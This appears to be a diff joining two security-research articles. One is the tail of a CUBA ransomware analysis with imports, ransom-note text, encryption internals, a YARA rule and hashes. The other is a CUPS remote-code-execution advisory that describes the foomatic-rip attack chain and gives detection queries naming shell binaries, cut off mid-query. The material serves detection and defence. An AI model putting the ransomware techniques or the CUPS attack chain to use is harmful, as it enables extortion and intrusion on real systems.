| .text | 0x00401000 | 0x13B5F | 0x13C00 | 6.608 | 931B22064E9E214BF59A4E07A6CA9109 |
|
||||
| .rdata | 0x00415000 | 0xA71C | 0xA800 | 5.855 | F6F97411BCD64126A96B08BA9AE1E775 |
|
||||
| .data | 0x00420000 | 0x16B0 | 0xC00 | 3.450 | 03B1B11B4531BB656E43A8B457D4A5F7 |
|
||||
| .rsrc | 0x00422000 | 0x1E0 | 0x200 | 4.704 | F754ADBD7F5D6195FD6D527001CAB98C |
|
||||
| .reloc | 0x00423000 | 0x1200 | 0x1200 | 6.573 | 08B0994DAECAAAA4173B388A80CC52FE |
|
||||
|
||||
> For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:
|
||||
>
|
||||
> - [CUBA Campaign Analysis](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis)
|
||||
> - [BUGHATCH Malware Analysis](https://www.elastic.co/security-labs/bughatch-malware-analysis)
|
||||
|
||||
### Imports
|
||||
|
||||
```
|
||||
GetProcessImageFileNameW
|
||||
EnumProcesses
|
||||
NetApiBufferFree
|
||||
NetShareEnum
|
||||
GetIpNetTable
|
||||
PathFindFileNameW
|
||||
FindFirstFileExW
|
||||
FindFirstFileW
|
||||
FindNextFileW
|
||||
WriteFile
|
||||
SetFileAttributesW
|
||||
MoveFileExW
|
||||
FindFirstVolumeW
|
||||
TerminateProcess
|
||||
GetEnvironmentStringsW
|
||||
OpenProcess
|
||||
GetCurrentProcessId
|
||||
CreateProcessW
|
||||
GetVolumePathNamesForVolumeNameW
|
||||
FindNextVolumeW
|
||||
GetCurrentThreadId
|
||||
RaiseException
|
||||
GetModuleHandleExW
|
||||
OpenProcessToken
|
||||
CryptAcquireContextA
|
||||
CryptGenRandom
|
||||
CryptReleaseContext
|
||||
AdjustTokenPrivileges
|
||||
LookupPrivilegeValueA
|
||||
ControlService
|
||||
ChangeServiceConfigW
|
||||
PathAddBackslashW
|
||||
GetCPInfo
|
||||
GetOEMCP
|
||||
IsValidCodePage
|
||||
lstrcpynW
|
||||
InterlockedDecrement
|
||||
FindClose
|
||||
CreateFileW
|
||||
Sleep
|
||||
lstrcatW
|
||||
CloseHandle
|
||||
CreateThread
|
||||
lstrcpyW
|
||||
lstrcmpW
|
||||
ReadFile
|
||||
GetFileSizeEx
|
||||
EnterCriticalSection
|
||||
GetCurrentProcess
|
||||
GetModuleFileNameW
|
||||
LeaveCriticalSection
|
||||
GetCommandLineA
|
||||
WaitForSingleObject
|
||||
GetLastError
|
||||
SetEvent
|
||||
GetDiskFreeSpaceExW
|
||||
ResetEvent
|
||||
GetWindowsDirectoryW
|
||||
SetFilePointerEx
|
||||
ExitProcess
|
||||
CreateEventA
|
||||
lstrcmpiW
|
||||
GetTickCount
|
||||
DeleteCriticalSection
|
||||
QueryPerformanceCounter
|
||||
SetStdHandle
|
||||
FreeEnvironmentStringsW
|
||||
GetCommandLineW
|
||||
DecodePointer
|
||||
GetStringTypeW
|
||||
GetProcessHeap
|
||||
FlushFileBuffers
|
||||
GetConsoleCP
|
||||
HeapSize
|
||||
WriteConsoleW
|
||||
InitializeCriticalSection
|
||||
UnhandledExceptionFilter
|
||||
SetUnhandledExceptionFilter
|
||||
IsProcessorFeaturePresent
|
||||
InitializeCriticalSectionAndSpinCount
|
||||
WaitForSingleObjectEx
|
||||
CreateEventW
|
||||
GetModuleHandleW
|
||||
GetProcAddress
|
||||
IsDebuggerPresent
|
||||
GetStartupInfoW
|
||||
GetSystemTimeAsFileTime
|
||||
InitializeSListHead
|
||||
RtlUnwind
|
||||
SetLastError
|
||||
EncodePointer
|
||||
TlsAlloc
|
||||
TlsGetValue
|
||||
TlsSetValue
|
||||
TlsFree
|
||||
FreeLibrary
|
||||
LoadLibraryExW
|
||||
GetFileType
|
||||
GetStdHandle
|
||||
MultiByteToWideChar
|
||||
WideCharToMultiByte
|
||||
GetACP
|
||||
HeapFree
|
||||
HeapAlloc
|
||||
LCMapStringW
|
||||
HeapReAlloc
|
||||
GetConsoleMode
|
||||
CharLowerW
|
||||
GetKeyboardLayoutList
|
||||
wsprintfW
|
||||
CloseServiceHandle
|
||||
OpenSCManagerW
|
||||
OpenServiceW
|
||||
QueryServiceStatusEx
|
||||
```
|
||||
|
||||
### Strings
|
||||
|
||||
```
|
||||
Good day. All your files are encrypted. For decryption contact us.
|
||||
Write here waterstatus@cock.li
|
||||
reserve admin@encryption-support.com
|
||||
jabber cuba_support@exploit.im
|
||||
We also inform that your databases, ftp server and file server were downloaded by us to our servers.
|
||||
If we do not receive a message from you within three days, we regard this as a refusal to negotiate.
|
||||
Check our platform: http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/
|
||||
* Do not rename encrypted files.
|
||||
* Do not try to decrypt your data using third party software,
|
||||
it may cause permanent data loss.
|
||||
* Do not stop process of encryption, because partial encryption cannot be decrypted.
|
||||
!! READ ME !!.txt
|
||||
```
|
||||
|
||||
## Code Analysis
|
||||
|
||||
### Entry Point
|
||||
|
||||
The malware starts by retrieving the active input locale identifier of the victim using the GetKeyboardLayout API. When the Russian language is in the list of supported languages of the machine, the process deletes and terminates itself with a simple command line: c:\system32\cmd.exe c/ del PATH_TO_BINARY without encrypting the file system.
|
||||
|
||||

|
||||
|
||||
### Command-line Options
|
||||
|
||||
The threat actor included 4 different operations based on the following command-line arguments:
|
||||
|
||||
- The network keyword
|
||||
- An IP keyword
|
||||
- A path keyword
|
||||
- The local keyword
|
||||

|
||||
|
||||
**Network keyword parameter**
|
||||
|
||||
When specifying the network keyword, the malware retrieves the Address Resolution Protocol (ARP) table of the machine using the GetIpNetTable Windows API and enumerates the shares of each IP in the ARP table, this information is added to a linked list that will be accessed by the encryption capability, which will be discussed further below in detail.
|
||||
|
||||

|
||||
|
||||
**IP keyword parameter**
|
||||
|
||||
By specifying an IP address as the first parameter in the command line the malware proceeds by enumerating and encrypting every share found for the specified IP.
|
||||
|
||||
**Path keyword parameter**
|
||||
|
||||
The malware will encrypt the local directory contents, or the file provided, as the first parameter of the command-line.
|
||||
|
||||
**Local keyword parameter**
|
||||
|
||||
The local keyword is used to encrypt every local volume on the machine, and because the malware targets volumes by their ID, it can encrypt both mounted and unmounted volumes.
|
||||
|
||||
### Process Termination
|
||||
|
||||
CUBA starts by acquiring SeDebugPrivilege and then terminates a hardcoded list of processes and services using a common Windows API (see appendix for list [[1](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-processes)], [[2](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#list-of-terminated-services)]). For some services, the malware first tries to disable the service– indicated by the second parameter of TerminateProcesses::TerminateServiceByName function. This is mainly done to prevent interference with the encryption process by applications that may lock files from external changes, for example, databases.
|
||||
|
||||

|
||||
|
||||
### Local Volume Enumeration
|
||||
|
||||
The malware enumerates all the local volumes and for each volume larger than 1GB it saves the volume’s GUID in a custom linked list. The ransomware utilizes the CriticalSection object to access this linked list for synchronization purposes due to multiple threads accessing the same resource. This helps to avoid two threads encrypting the same file at the same time, a race condition that would corrupt the file.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Multithreaded Encryption Synchronization
|
||||
|
||||
After preparing a list to encrypt, CUBA ransomware spawns encryption threads with the structure defined below as a parameter. Depending on the command line arguments, the malware starts 4 threads for local encryption or 8 threads for network encryption.
|
||||
|
||||

|
||||
|
||||
When a thread finishes its task, it will decrement a counter until it reaches 0: lpParameter-\\>NumberOfThreadRunning. When the last thread completes, it will alert the program that the task is done with a call to SetEvent API, which will self delete and terminate the malware.
|
||||
|
||||

|
||||
|
||||
### Encryption Implementation
|
||||
|
||||
The malware leverages the symmetric encryption algorithm ChaCha20 to encrypt files and the asymmetric encryption algorithm RSA to protect the ChaCha20 Key and Initialization Vector (IV). The author has utilized a customized version of [WolfSSL](https://github.com/wolfSSL/wolfssl), an open source SSL/TLS library, to implement this capability. Other samples (2957226fc315f71dc22f862065fe376efab9c21d61bbc374dde34d47cde85658) implemented a similar function using the [libtomcrypt](https://github.com/libtom/libtomcrypt) library. Other implementations may exist that are not described here.
|
||||
|
||||
The ransomware allocates a large custom structure called block that contains all the required encryption information. It then initializes an RsaKey structure with [wc_InitRsaKey](https://www.wolfssl.com/doxygen/group__RSA.html#ga02c9b34d405c5f1c24956ee84a843ef6) and decodes an embedded 4096 bit RSA public key in [DER](https://wiki.openssl.org/index.php/DER) format using [wc_RsaPublicKeyDecode](https://www.wolfssl.com/doxygen/group__RSA.html#ga2610326206b322f33f59e31a845e24b9) which it saves to block.PubRsaKey.
|
||||
|
||||

|
||||
|
||||
### File Enumeration
|
||||
|
||||
Each thread takes an entry from the linked list and starts recursively enumerating files starting from the root of the volume. In the case of a specific directory, the same function is called recursively except for specific directories (see [appendix](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-directories) for list). Otherwise, it will ignore the ransom note file !! READ ME !!.txt and files with specific extensions (see [appendix](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis#excluded-file-extensions) for list).
|
||||
|
||||

|
||||
|
||||
The malware uses [wc_RNG_GenerateBlock](https://www.wolfssl.com/doxygen/group__Random.html#ga9a289fb3f58f4a5f7e15c2b5a1b0d7c6) a WolfSSL function, to randomly generate 44 bytes. The first 32 bytes of that are used as the ChaCha20 key and the other 12 bytes are used as the IV, it then calls a function to initiate the ChaCha20 structure block.chacha20_KeyIv that will be later used to encrypt the file content. At this point, the ransomware is ready to start encrypting and writing to the file.
|
||||
|
||||

|
||||
|
||||
Before encrypting a file, Cuba ransomware prepends a 1024 byte header, the first 256 bytes are the string FIDEL.CA and some DWORD bytes values, the next 512 bytes are the encrypted ChaCha20 KEY/IV with the public RSA key and the rest is padded with 0.
|
||||
|
||||

|
||||
|
||||
Before starting the encryption, the malware double checks if the file was already encrypted by comparing the first 8 bytes of the file to the header string FIDEL.CA. If equal, the malware terminates the encryption process as described below.
|
||||
|
||||

|
||||
|
||||
Then CUBA writes the 1024 byte header and if the file is larger than 2 MB it reads 1 MB of data at a time from the file and encrypts it with the ChaCha20 cipher. Otherwise, it will read and encrypt the entire contents at once.
|
||||
|
||||

|
||||
|
||||
The malware encrypts the file in 1 MB chunks and, depending on the file’s size, it will skip a preset number of bytes. This is done primarily to speed up the encryption process of large files, below is a table to illustrate.
|
||||
|
||||
| | | |
|
||||
| ---------------- | -------------------- | ------------ |
|
||||
| File Size | Chunk Size | Skipped Size |
|
||||
| Less than 2 MB | All the file content | 0 MB |
|
||||
| Less than 10 MB | 1MB | 4 MB |
|
||||
| Less than 50 MB | 1MB | 8 MB |
|
||||
| Less than 200 MB | 1MB | 16 MB |
|
||||
| Less than 10 GB | 1MB | 200 MB |
|
||||
| More than 10 GB | 1MB | 500 MB |
|
||||
|
||||
Finally, it will rename the file by adding the extension .cuba.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## MITRE ATT&CK Techniques
|
||||
|
||||
Using the MITRE ATT&CK® framework, techniques and sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486/)
|
||||
- [Network Share Discovery](https://attack.mitre.org/techniques/T1135/)
|
||||
- [Process Discovery](https://attack.mitre.org/techniques/T1057/)
|
||||
- [Service Stop](https://attack.mitre.org/techniques/T1489/)
|
||||
- [System Information Discovery](https://attack.mitre.org/techniques/T1082/)
|
||||
- [Indicator Removal on Host: File Deletion](https://attack.mitre.org/techniques/T1070/004/)
|
||||
- [Obfuscated Files or Information: Software Packing](https://attack.mitre.org/techniques/T1027/002/)
|
||||
- [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016/)
|
||||
- [System Location Discovery: System Language Discovery](https://attack.mitre.org/techniques/T1614/001/)
|
||||
- [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486/)
|
||||
- [Access Token Manipulation](https://attack.mitre.org/techniques/T1134/)
|
||||
|
||||
## Appendix
|
||||
|
||||
### List of Terminated Processes
|
||||
|
||||
- sqlagent.exe
|
||||
- sqlservr.exe
|
||||
- sqlwriter.exe
|
||||
- sqlceip.exe
|
||||
- msdtc.exe
|
||||
- sqlbrowser.exe
|
||||
- vmwp.exe
|
||||
- vmsp.exe
|
||||
- outlook.exe
|
||||
- Microsoft.Exchange.Store.Worker.exe
|
||||
|
||||
### List of Terminated Services
|
||||
|
||||
- MySQL
|
||||
- MySQL80
|
||||
- SQLSERVERAGENT
|
||||
- MSSQLSERVER
|
||||
- SQLWriter
|
||||
- SQLTELEMETRY
|
||||
- MSDTC
|
||||
- SQLBrowser
|
||||
- vmcompute
|
||||
- vmms
|
||||
- MSExchangeUMCR
|
||||
- MSExchangeUM
|
||||
- MSExchangeTransportLogSearch
|
||||
- MSExchangeTransport
|
||||
- MSExchangeThrottling
|
||||
- MSExchangeSubmission
|
||||
- MSExchangeServiceHost
|
||||
- MSExchangeRPC
|
||||
- MSExchangeRepl
|
||||
- MSExchangePOP3BE
|
||||
- MSExchangePop3
|
||||
- MSExchangeNotificationsBroker
|
||||
- MSExchangeMailboxReplication
|
||||
- MSExchangeMailboxAssistants
|
||||
- MSExchangeIS
|
||||
- MSExchangeIMAP4BE
|
||||
- MSExchangeImap4
|
||||
- MSExchangeHMRecovery
|
||||
- MSExchangeHM
|
||||
- MSExchangeFrontEndTransport
|
||||
- MSExchangeFastSearch
|
||||
- MSExchangeEdgeSync
|
||||
- MSExchangeDiagnostics
|
||||
- MSExchangeDelivery
|
||||
- MSExchangeDagMgmt
|
||||
- MSExchangeCompliance
|
||||
- MSExchangeAntispamUpdate
|
||||
|
||||
### Excluded Directories
|
||||
|
||||
- \windows\
|
||||
- \program files\microsoft office\
|
||||
- \program files (x86)\microsoft office\
|
||||
- \program files\avs\
|
||||
- \program files (x86)\avs\
|
||||
- \$recycle.bin\
|
||||
- \boot\
|
||||
- \recovery\
|
||||
- \system volume information\
|
||||
- \msocache\
|
||||
- \users\all users\
|
||||
- \users\default user\
|
||||
- \users\default\
|
||||
- \temp\
|
||||
- \inetcache\
|
||||
- \google\
|
||||
|
||||
### Excluded File Extensions
|
||||
|
||||
- .exe
|
||||
- .dll
|
||||
- .sys
|
||||
- .ini
|
||||
- .lnk
|
||||
- .vbm
|
||||
- .cuba
|
||||
|
||||
## YARA Rule
|
||||
|
||||
Elastic Security has created YARA rules to identify CUBA ransomware activity.
|
||||
|
||||
```
|
||||
rule Windows_Ransomware_Cuba {
|
||||
meta:
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Ransomware"
|
||||
family = "Cuba"
|
||||
threat_name = "Windows.Ransomware.Cuba"
|
||||
Reference_sample = "33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"
|
||||
|
||||
strings:
|
||||
$a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
|
||||
$a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
|
||||
$b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our servers." ascii fullword
|
||||
$b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
|
||||
$b3 = ".cuba" wide fullword
|
||||
|
||||
condition:
|
||||
any of ($a*) or all of ($b*)
|
||||
}
|
||||
```
|
||||
|
||||
## Observations
|
||||
|
||||
Atomic indicators observed in our investigation.
|
||||
|
||||
| | | |
|
||||
| ---------------------------------------------------------------- | ------ | --------------- |
|
||||
| Indicator | Type | Note |
|
||||
| 32beefe2c5e28e87357813c0ef91f47b631a3dff4a6235256aa123fc77564346 | SHA256 | CUBA Ransomware |
|
||||
| 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA256 | CUBA Ransomware |
|
||||
| bcf0f202db47ca671ed6146040795e3c8315b7fb4f886161c675d4ddf5fdd0c4 | SHA256 | CUBA Ransomware |
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.
|
|
@ -0,0 +1,235 @@
|
|||
---
|
||||
title: "Cups Overflow: When your printer spills more than Ink"
|
||||
slug: "cups-overflow"
|
||||
date: "2024-09-28"
|
||||
description: "Elastic Security Labs discusses detection and mitigation strategies for vulnerabilities in the CUPS printing system, which allow unauthenticated attackers to exploit the system via IPP and mDNS, resulting in remote code execution (RCE) on UNIX-based systems such as Linux, macOS, BSDs, ChromeOS, and Solaris."
|
||||
author:
|
||||
- slug: mika-ayenson
|
||||
- slug: terrance-dejesus
|
||||
- slug: eric-forte
|
||||
- slug: ruben-groenewoud
|
||||
image: "cups-overflow.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
- slug: vulnerability-updates
|
||||
tags:
|
||||
- linux
|
||||
- macos
|
||||
- cups
|
||||
- vulnerability
|
||||
- CVE-2024-47176
|
||||
- CVE-2024-47076
|
||||
- CVE-2024-47175
|
||||
- CVE-2024-47177
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
* On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the `cups-browsed`, `libscupsfilters`, and `libppd` components of the CUPS printing system, impacting versions \<= 2.0.1.
|
||||
* The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems.
|
||||
* The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by `cups-browsed` without any authentication requirements.
|
||||
* The vulnerability chain includes the `foomatic-rip` filter, which permits the execution of arbitrary commands through the `FoomaticRIPCommandLine` directive, a known ([CVE-2011-2697](https://nvd.nist.gov/vuln/detail/CVE-2011-2697), [CVE-2011-2964](https://nvd.nist.gov/vuln/detail/CVE-2011-2964)) but unpatched issue since 2011.
|
||||
* Systems affected include most GNU/Linux distributions, BSDs, ChromeOS, and Solaris, many of which have the `cups-browsed` service enabled by default.
|
||||
* By the title of the publication, “Attacking UNIX Systems via CUPS, Part I” Margaritelli likely expects to publish further research on the topic.
|
||||
* Elastic has provided protections and guidance to help organizations detect and mitigate potential exploitation of these vulnerabilities.
|
||||
|
||||
## The CUPS RCE at a glance
|
||||
|
||||
On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) [uncovered](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/) a chain of critical vulnerabilities in the CUPS (Common Unix Printing System) utilities, specifically in components like `cups-browsed`, `libcupsfilters`, and `libppd`. These vulnerabilities — identified as [CVE-2024-47176](https://www.cve.org/CVERecord?id=CVE-2024-47176), [CVE-2024-47076](https://www.cve.org/CVERecord?id=CVE-2024-47076), [CVE-2024-47175](https://www.cve.org/CVERecord?id=CVE-2024-47175), and [CVE-2024-47177](https://www.cve.org/CVERecord?id=CVE-2024-47177) — affect widely adopted UNIX systems such as GNU/Linux, BSDs, ChromeOS, and Solaris, exposing them to remote code execution (RCE).
|
||||
|
||||
At the core of the issue is the lack of input validation in the CUPS components, which allows attackers to exploit the Internet Printing Protocol (IPP). Attackers can send malicious packets to the target's UDP port `631` over the Internet (WAN) or spoof DNS-SD/mDNS advertisements within a local network (LAN), forcing the vulnerable system to connect to a malicious IPP server.
|
||||
|
||||
For context, the IPP is an application layer protocol used to send and receive print jobs over the network. These communications include sending information regarding the state of the printer (paper jams, low ink, etc.) and the state of any jobs. IPP is supported across all major operating systems including Windows, macOS, and Linux. When a printer is available, the printer broadcasts (via DNS) a message stating that the printer is ready including its Uniform Resource Identifier (URI). When Linux workstations receive this message, many Linux default configurations will automatically add and register the printer for use within the OS. As such, the malicious printer in this case will be automatically registered and made available for print jobs.
|
||||
|
||||
Upon connecting, the malicious server returns crafted IPP attributes that are injected into PostScript Printer Description (PPD) files, which are used by CUPS to describe printer properties. These manipulated PPD files enable the attacker to execute arbitrary commands when a print job is triggered.
|
||||
|
||||
One of the major vulnerabilities in this chain is the `foomatic-rip` filter, which has been known to allow arbitrary command execution through the FoomaticRIPCommandLine directive. Despite being vulnerable for over a decade, it remains unpatched in many modern CUPS implementations, further exacerbating the risk.
|
||||
|
||||
> While these vulnerabilities are highly critical with a CVSS score as high as 9.9, they can be mitigated by disabling cups-browsed, blocking UDP port 631, and updating CUPS to a patched version. Many UNIX systems have this service enabled by default, making this an urgent issue for affected organizations to address.
|
||||
|
||||
## Elastic’s POC analysis
|
||||
|
||||
Elastic’s Threat Research Engineers initially located the original proof-of-concept written by @evilsocket, which had been leaked. However, we chose to utilize the [cupshax](https://github.com/RickdeJager/cupshax/blob/main/cupshax.py) proof of concept (PoC) based on its ability to execute locally.
|
||||
|
||||
To start, the PoC made use of a custom Python class that was responsible for creating and registering the fake printer service on the network using mDNS/ZeroConf. This is mainly achieved by creating a ZeroConf service entry for the fake Internet Printing Protocol (IPP) printer.
|
||||
|
||||
Upon execution, the PoC broadcasts a fake printer advertisement and listens for IPP requests. When a vulnerable system sees the broadcast, the victim automatically requests the printer's attributes from a URL provided in the broadcast message. The PoC responds with IPP attributes including the FoomaticRIPCommandLine parameter, which is known for its history of CVEs. The victim generates and saves a [PostScript Printer Description](https://en.wikipedia.org/wiki/PostScript_Printer_Description) (PPD) file from these IPP attributes.
|
||||
|
||||
At this point, continued execution requires user interaction to start a print job and choose to send it to the fake printer. Once a print job is sent, the PPD file tells CUPS how to handle the print job. The included FoomaticRIPCommandLine directive allows the arbitrary command execution on the victim machine.
|
||||
|
||||
During our review and testing of the exploits with the Cupshax PoC, we identified several notable hurdles and key details about these vulnerable endpoint and execution processes.
|
||||
|
||||
When running arbitrary commands to create files, we noticed that `lp` is the user and group reported for arbitrary command execution, the [default printing group](https://wiki.debian.org/SystemGroups#:~:text=lp%20(LP)%3A%20Members%20of,jobs%20sent%20by%20other%20users.) on Linux systems that use CUPS utilities. Thus, the Cupshax PoC/exploit requires both the CUPS vulnerabilities and the `lp` user to have sufficient permissions to retrieve and run a malicious payload. By default, the `lp` user on many systems will have these permissions to run effective payloads such as reverse shells; however, an alternative mitigation is to restrict `lp` such that these payloads are ineffective through native controls available within Linux such as AppArmor or SELinux policies, alongside firewall or IPtables enforcement policies.
|
||||
|
||||
The `lp` user in many default configurations has access to commands that are not required for the print service, for instance `telnet`. To reduce the attack surface, we recommend removing unnecessary services and adding restrictions to them where needed to prevent the `lp` user from using them.
|
||||
|
||||
We also took note that interactive reverse shells are not immediately supported through this technique, since the `lp` user does not have a login shell; however, with some creative tactics, we were able to still accomplish this with the PoC. Typical PoCs test the exploit by writing a file to `/tmp/`, which is trivial to detect in most cases. Note that the user writing this file will be `lp` so similar behavior will be present for attackers downloading and saving a payload on disk.
|
||||
|
||||
Alongside these observations, the parent process, `foomatic-rip` was observed in our telemetry executing a shell, which is highly uncommon
|
||||
|
||||
## Executing the ‘Cupshax’ POC
|
||||
|
||||
To demonstrate the impact of these vulnerabilities, we attempted to accomplish two different scenarios: using a payload for a reverse shell using living off the land techniques and retrieving and executing a remote payload. These actions are often common for adversarial groups to attempt to leverage once a vulnerable system is identified. While in its infancy, widespread exploitation has not been observed, but likely will replicate some of the scenarios depicted below.
|
||||
|
||||
Our first attempts running the Cupshax PoC were met with a number of minor roadblocks due to the default user groups assigned to the `lp` user — namely restrictions around interactive logon, an attribute common to users that require remote access to systems. This did not, however, impact our ability to download a remote payload, compile, and execute on the impacted host system:
|
||||
|
||||

|
||||
|
||||
Continued testing was performed around reverse shell invocation, successfully demonstrated below:
|
||||
|
||||

|
||||
|
||||
## Assessing impact
|
||||
|
||||
* **Severity:** These vulnerabilities are given CVSS scores [controversially](https://x.com/evilsocket/status/1838220677389656127) up to 9.9, indicating a critical severity. The widespread use of CUPS and the ability to remotely exploit these vulnerabilities make this a high-risk issue.
|
||||
* **Who is affected?:** The vulnerability affects most UNIX-based systems, including major GNU/Linux distributions and other operating systems like ChromeOS and BSDs running the impacted CUPS components. Public-facing or network-exposed systems are particularly at risk. Further guidance, and notifications will likely be provided by vendors as patches become available, alongside further remediation steps. Even though CUPS usually listens on localhost, the Shodan Report [highlights](https://x.com/shodanhq/status/1839418045757845925) that over 75,000 CUPS services are exposed on the internet.
|
||||
* **Potential Damage:** Once exploited, attackers can gain control over the system to run arbitrary commands. Depending on the environment, this can lead to data exfiltration, ransomware installation, or other malicious actions. Systems connected to printers over WAN are especially at risk since attackers can exploit this without needing internal network access.
|
||||
|
||||
## Remediations
|
||||
|
||||
As [highlighted](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/#Remediation) by @evilsocket, there are several remediation recommendations.
|
||||
|
||||
* Disable and uninstall the `cups-browsed` service. For example, see the recommendations from [Red Hat](https://www.redhat.com/en/blog/red-hat-response-openprinting-cups-vulnerabilities) and [Ubuntu](https://ubuntu.com/blog/cups-remote-code-execution-vulnerability-fix-available).
|
||||
* Ensure your CUPS packages are updated to the latest versions available for your distribution.
|
||||
* If updating isn’t possible, block UDP port `631` and DNS-SD traffic from potentially impacted hosts, and investigate the aforementioned recommendations to further harden the `lp` user and group configuration on the host.
|
||||
|
||||
## Elastic protections
|
||||
|
||||
In this section, we look into detection and hunting queries designed to uncover suspicious activity linked to the currently published vulnerabilities. By focusing on process behaviors and command execution patterns, these queries help identify potential exploitation attempts before they escalate into full-blown attacks.
|
||||
|
||||
### cupsd or foomatic-rip shell execution
|
||||
|
||||
The first detection rule targets processes on Linux systems that are spawned by `foomatic-rip` and immediately launch a shell. This is effective because legitimate print jobs rarely require shell execution, making this behavior a strong indicator of malicious activity. Note: A shell may not always be an adversary’s goal if arbitrary command execution is possible.
|
||||
|
||||
```
|
||||
process where host.os.type == "linux" and event.type == "start" and
|
||||
event.action == "exec" and process.parent.name == "foomatic-rip" and
|
||||
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")
|
||||
and not process.command_line like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*")
|
||||
```
|
||||
|
||||
This query managed to detect all 33 PoC attempts that we performed:
|
||||
|
||||

|
||||
|
||||
https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_shell_execution.toml
|
||||
|
||||
### Printer user (lp) shell execution
|
||||
|
||||
This detection rule assumes that the default printer user (`lp`) handles the printing processes. By specifying this user, we can narrow the scope while broadening the parent process list to include `cupsd`. Although there's currently no indication that RCE can be exploited through `cupsd`, we cannot rule out the possibility.
|
||||
|
||||
```
|
||||
process where host.os.type == "linux" and event.type == "start" and
|
||||
event.action == "exec" and user.name == "lp" and
|
||||
process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh",
|
||||
"tcsh", "csh", "zsh", "ksh", "fish") and process.name in ("bash", "dash",
|
||||
"sh", "tcsh", "csh", "zsh", "ksh", "fish") and not process.command_line
|
||||
like ("*/tmp/foomatic-*", "*-sDEVICE=ps2write*")
|
||||
```
|
||||
|
||||
By focusing on the username `lp`, we broadened the scope and detected, like previously, all of the 33 PoC executions:
|
||||
|
||||

|
||||
|
||||
https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_lp_user_execution.toml
|
||||
|
||||
### Network connection by CUPS foomatic-rip child
|
||||
|
||||
This rule identifies network connections initiated by child processes of `foomatic-rip`, which is a behavior that raises suspicion. Since legitimate operations typically do not involve these processes establishing outbound connections, any detected activity should be closely examined. If such communications are expected in your environment, ensure that the destination IPs are properly excluded to avoid unnecessary alerts.
|
||||
|
||||
```
|
||||
sequence by host.id with maxspan=10s
|
||||
[process where host.os.type == "linux" and event.type == "start"
|
||||
and event.action == "exec" and
|
||||
process.parent.name == "foomatic-rip" and
|
||||
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")]
|
||||
by process.entity_id
|
||||
[network where host.os.type == "linux" and event.type == "start" and
|
||||
event.action == "connection_attempted"] by process.parent.entity_id
|
||||
```
|
||||
|
||||
By capturing the parent/child relationship, we ensure the network connections originate from the potentially compromised application.
|
||||
|
||||

|
||||
|
||||
https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/command_and_control_cupsd_foomatic_rip_netcon.toml
|
||||
|
||||
### File creation by CUPS foomatic-rip child
|
||||
|
||||
This rule detects suspicious file creation events initiated by child processes of foomatic-rip. As all current proof-of-concepts have a default testing payload of writing to a file in `/tmp/`, this rule would catch that. Additionally, it can detect scenarios where an attacker downloads a malicious payload and subsequently creates a file.
|
||||
|
||||
```
|
||||
sequence by host.id with maxspan=10s
|
||||
[process where host.os.type == "linux" and event.type == "start" and
|
||||
event.action == "exec" and process.parent.name == "foomatic-rip" and
|
||||
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id
|
||||
[file where host.os.type == "linux" and event.type != "deletion" and
|
||||
not (process.name == "gs" and file.path like "/tmp/gs_*")] by process.parent.entity_id
|
||||
```
|
||||
|
||||
The rule excludes `/tmp/gs_*` to account for default `cupsd` behavior, but for enhanced security, you may choose to remove this exclusion, keeping in mind that it may generate more noise in alerts.
|
||||
|
||||

|
||||
|
||||
https://github.com/elastic/detection-rules/blob/a3e89a7fabe90a6f9ce02b58d5a948db8d231ee5/rules/linux/execution_cupsd_foomatic_rip_file_creation.toml
|
||||
|
||||
### Suspicious execution from foomatic-rip or cupsd parent
|
||||
|
||||
This rule detects suspicious command lines executed by child processes of `foomatic-rip` and `cupsd`. It focuses on identifying potentially malicious activities, including persistence mechanisms, file downloads, encoding/decoding operations, reverse shells, and shared-object loading via GTFOBins.
|
||||
|
||||
```
|
||||
process where host.os.type == "linux" and event.type == "start" and
|
